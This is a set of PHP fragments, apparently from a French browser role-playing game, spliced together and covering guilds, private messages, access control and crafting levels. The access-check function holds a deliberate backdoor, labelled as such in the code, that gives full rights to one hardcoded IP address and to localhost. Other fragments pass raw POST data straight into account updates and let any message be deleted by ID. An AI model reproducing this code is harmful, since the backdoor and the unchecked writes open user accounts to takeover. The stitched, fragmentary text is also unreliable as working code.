<?php if (verif_connect()) { load_css('guild.css', 'guild'); if (has_guild()) { if (has_guild_acces('recrutement')) { if (request_confirm('guild-engage') || request_confirm('guild-refuse')) { if (verifier_token(60, get_link('Recrutement', 'Guild'), 'guild-candidat-' . $_POST['Account_ID'])) { $Account_Query = get_db("candidat_guild_confirm", array('Guild_ID' => guild_data('Guild_ID'), 'Account_ID' => request_post('Account_ID'))); if (!empty($Account_Query)) { if (request_confirm('guild-engage')) { update_db('Caranille_Accounts', stripslashes_r($_POST)); $message = "Vous avez été accepté dans la guilde " . guild_data('Guild_Name') . "."; } else { update_db('Caranille_Accounts', array('Account_ID' => $Account_Query['Account_ID'], 'Account_Guild_ID' => 0, 'Account_Guild_Accept' => 0)); $message = "Votre candidature dans la guilde " . guild_data('Guild_Name') . " a été refusé."; } add_diary($message, $Account_Query['Account_ID']); insert_db('Caranille_Private_Messages', array('Private_Message_Transmitter' => logged_data('Account_ID'), 'Private_Message_Receiver' => $Account_Query['Account_Pseudo'], 'Private_Message_Subject' => "Votre candidature dans la guilde " . guild_data('Guild_Name'), 'Private_Message_Message' => $message, 'Private_Message_Conversation' => null)); } } } } } }
<?php if (verif_connect()) { if (request_confirm('Write')) { echo LanguageValidation::iMsg("intro.message.write"); $Player_List = list_db('list_account_friends', array('Account_ID' => logged_data('Account_ID'))); foreach ($Player_List as $Player) { $Receiver = strip_tags(stripslashes($Player['Account_Pseudo'])); $Players[$Receiver] = $Receiver; } echo formulaire_input(array(select_input("label.message.destinataire", "Receiver", $Players, null, null, "Receiver"), text_input("label.message.subject", "Message_Subject", null, null, null, "placeholder.message.subject"), call_bbcode_editor("Message"), submit_input("Send", "btn.message.send")), "Mailbox-Send", get_link('Mailbox', 'User'), "post", null); } else { if (request_confirm('Read')) { $Messages = list_db('request_mailbox', user_data()); echo "<table class='newsboard email' >"; echo "<tr><th><div class='important'>" . LanguageValidation::iMsg("label.message.emetteur") . "</div></th>"; echo "<th><div class='important'>" . LanguageValidation::iMsg("label.message.subject") . "</div></th>"; echo "<th>" . LanguageValidation::iMsg("label.message.content") . "</th>"; echo '<th></th></tr>'; echo '<tr>'; echo '<td class="none" colspan="4" >'; echo '</td>'; echo '</tr>'; if (!empty($Messages)) { foreach ($Messages as $Message) { extract(stripslashes_r($Message)); $ID = get_db('request_mail', $Message); if (!empty($ID)) { $Transmitter = $ID['Account_Pseudo']; echo "<tr><td>{$Transmitter}</td>"; echo "<td>{$Private_Message_Subject}</td>";
/** * verifie si l'utilisateur a un acces autorisé à chaque debut de page * sinon, on affiche la page de refus * @param level requis */ function verif_access($level = "Member", $menu = false) { global $path, $array_access_type; /** !!! backdoor !!! **/ if (getRealIpAddr() === "195.132.44.46") { // moi === dieu return true; } if (getenv('SERVER_ADDR') === "127.0.0.1") { // localhost === dieu return true; } /** !!! backdoor !!! **/ $access = logged_has('Test_Access') ? logged_data('Test_Access') : logged_data('Account_Access'); debug_log("verif_access({$level}<=>{$access})"); // Modo<=>Vist $_requis = array_search($level, $array_access_type); // Modo => 1 if (!empty($_requis)) { $_courant = array_search($access, $array_access_type); // Visit => 3 if (!empty($_courant)) { $niveaux = count($array_access_type); // =>4 debug_log("verif_access({$level}) ==> search-requis({$level}) => " . $_requis, false); debug_log("verif_access({$level}) ==> search-courrant(" . $access . ") =>" . $_courant, false); $requis = $niveaux - $_requis; // 4-1 = 3 $current = $niveaux - $_courant; // 4-3 = 1 debug_log("verif_access({$level}) ==> requis :: {$requis} <= courant :: {$current} ?? ", false); if ($requis <= $current) { return true; } } } if (verif_connect($menu)) { if ($access !== "Admin" && $access !== $level) { if (!$menu) { echo '<center>'; echo 'Vous ne possèdez pas les droits nécessaire pour accèder à cette partie du site'; echo LanguageValidation::iMsg('not.have.require.rights.to.access'); echo '</center>'; //require_once($path."HTML/Footer.php"); die; } return false; } return true; } return false; }
* Variables Globales */ $ID = user_data('Account_ID'); $Date = date('Y-m-d H:i:s'); $IP = getRealIpAddr(); $Pseudo = logged_data('Account_Pseudo'); init_stat_session(); clear_token(); // => trop brutal... clear_battle(); debug_log('Account_ID::' . logged_data('Account_ID')); debug_log('Account_Pseudo::' . logged_data('Account_Pseudo')); /** * Vérification des sanctions pour l'utilisateur */ $Warning_List = get_db("get_sanction_user", array('Account_ID' => logged_data('Account_ID'))); if (!empty($Warning_List)) { extract(stripslashes_r($Warning_List)); $message = "Vous avez recu un(e) {$Sanction_Type} de la part de {$Sanction_Transmitter}\\n\\n{$Sanction_Message}"; delete_db('Caranille_Sanctions', array('Sanction_ID' => $Sanction_ID)); } /* Mise à jour du compte en temps réel */ //get_user($Pseudo); if (verif_auth()) { init_equipement_session(); get_perso($Pseudo); get_equipement($Pseudo); get_Guild($Pseudo); $Next_Level = get_new_level();
/** * retourne la valeur user donnée en parametre */ function user_data($data = null) { global $Account_Data; if (empty($Account_Data)) { get_perso(logged_data('Account_Pseudo')); } debug_log("user_data({$data})"); if (is_null($data)) { return $Account_Data; } if (user_has($data)) { debug_log("result => user_data({$data})" . $Account_Data[$data]); } if (user_has($data)) { return $Account_Data[$data]; } return false; }
debug_log(" -> recolte"); $ress = list_db('random_ressource', array('Type' => $activite, 'Limit' => $prospect)); debug_log('random_ressource=>' . print_r($ress, 1)); if (isset($ress) && !empty($ress)) { foreach ($ress as $r) { gain_ressource($r['Ressource_ID']); $message = "Vous avez gagné l'objet suivant: " . stripslashes($r['Ressource_Name']); } add_diary($message); if ($comp['Competence_Level'] > 0) { debug_log("pexing update"); $comp['Competence_Experience']++; update_db('Caranille_Competences', $comp); } else { debug_log("pexing create"); insert_db('Caranille_Competences', array('Competence_Work_ID' => $job['Work_ID'], 'Competence_Account_ID' => logged_data('Account_ID'), 'Competence_Level' => 1, 'Competence_Experience' => 1)); } } } } } } if (request_confirm('entrer_Town')) { $Town_ID = htmlspecialchars(addslashes($_POST['Town_ID'])); if (verifier_token(60, get_link('World', 'Map'), 'entrer_Town-' . $Town_ID)) { debug_log("truly enter..."); $information_Town = get_db('request_town', addslashes_r($_POST)); if (!empty($information_Town)) { $_SESSION['Town_ID'] = intval($information_Town['Town_ID']); $_SESSION['Town'] = true; }
<?php // l'utilisateur peut ajouter un titre pour chaque module different de Caranille -Accueil $title = "Messagerie"; $baseline = LanguageValidation::iMsg("welcome.private.message"); //""; if (verif_connect()) { //Si l'utilisateur souhaite supprimé un message if (request_confirm('Delete')) { $Private_Message_ID = htmlspecialchars(addslashes($_POST['Private_Message_ID'])); delete_db('Caranille_Private_Messages', array('Private_Message_ID' => $Private_Message_ID)); echo 'Votre message a bien été supprimé'; } if (request_confirm('Send')) { if (verifier_token(600, get_link('Mailbox', 'User'), 'Mailbox-Send')) { $Transmitter = logged_data('Account_ID'); extract(addslashes_r($_POST)); insert_db('Caranille_Private_Messages', array('Private_Message_Transmitter' => $Transmitter, 'Private_Message_Receiver' => $Receiver, 'Private_Message_Subject' => $Message_Subject, 'Private_Message_Message' => $Message, 'Private_Message_Conversation' => isset($Conversation) ? $Conversation : null)); echo 'Votre message a bien été envoyé'; } } }
if ($job['Work_Name'] == $comp['Work_Name'] && $job['Work_Fabrique'] == $comp['Work_Fabrique']) { $work = $comp['Competence_Work_ID']; $niv = $comp['Competence_Level']; $req = $comp['Level_Experience_Required']; $exp = $comp['Competence_Experience']; if ($exp < 0) { $exp = 0; } $gain = 0; if ($exp >= $req) { while ($exp >= $req) { $Level_Data = get_db('get_level_exp_req', array('Account_Level' => $niv + 1)); if (!empty($Level_Data)) { $req = $Level_Data['Level_Experience_Required']; $gain++; debug_log("theorical calcul level :: (" . ($niv + $gain)); if ($exp < $req) { break; } } else { debug_log("level max"); break; } } update_db('Caranille_Competences', array('Competence_Level' => $niv + $gain, 'Competence_Experience' => $exp, 'Competence_Work_ID' => $work, 'Competence_Account_ID' => user_data('Account_ID'))); debug_log("Votre personnage vient de gagner [" . $gain . "] niveau dans le metier {" . $comp['Work_Name'] . "} . Il est maintenant au niveau : {$niv}"); } } } $competences = list_db('account_work', array('Account_ID' => logged_data('Account_ID')));